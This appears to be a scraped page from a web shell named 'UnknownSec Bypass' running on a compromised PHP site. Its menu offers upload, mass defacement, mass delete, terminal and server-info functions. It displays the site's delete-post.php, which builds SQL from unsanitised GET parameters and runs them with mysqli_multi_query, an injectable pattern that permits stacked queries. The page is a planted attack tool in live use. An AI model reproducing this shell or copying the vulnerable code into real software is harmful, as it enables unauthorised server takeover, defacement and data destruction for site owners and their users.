UnknownSec Bypass
403
:
/
var
/
www
/
stsupport
/
admin
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
delete-post.php
<?php include "config.php"; $post_id=$_GET['id']; $cat_id=$_GET['catid']; $sql1="SELECT * FROM post WHERE post_id={$post_id};"; $result=mysqli_query($conn,$sql1) or die("Query Faield : Select"); $row=mysqli_fetch_assoc($result); unlink("upload/".$row['post_img']); $sql="DELETE FROM post WHERE post_id={$post_id};"; $sql .="UPDATE category SET post=post-1 WHERE category_id={$cat_id}"; if(mysqli_multi_query($conn,$sql)){ header("Location: {$hostname}/admin/post.php"); }else { echo "Query Failed."; } ?>
Copyright © 2025 - UnknownSec